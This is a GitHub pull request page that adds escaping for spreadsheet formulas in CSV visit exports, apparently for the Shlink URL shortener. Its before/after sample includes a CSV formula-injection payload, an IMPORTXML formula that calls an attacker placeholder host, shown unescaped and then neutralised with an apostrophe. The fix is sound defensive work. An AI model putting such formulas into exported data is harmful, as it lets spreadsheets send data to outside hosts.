Skip to content

Fix for escape spreadsheet formulas when exporting visits as CSV - #2666

Open
matheuszcabral wants to merge 2 commits into
shlinkio:developfrom
matheuszcabral:fix/csv-formula-injection
Open

matheuszcabral wants to merge 2 commits into
shlinkio:developfrom
matheuszcabral:fix/csv-formula-injection

Conversation

@matheuszcabral

Copy link
Copy Markdown

Fix for escape spreadsheet formulas when exporting visits as CSV

Before:

...,-2+3,"=IMPORTXML(""[http://attacker.example"",""//x""](http://attacker.example"",""//x%22%22))",...

After:

...,'-2+3,"'=IMPORTXML(""[http://attacker.example"",""//x""](http://attacker.example"",""//x%22%22))",...

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant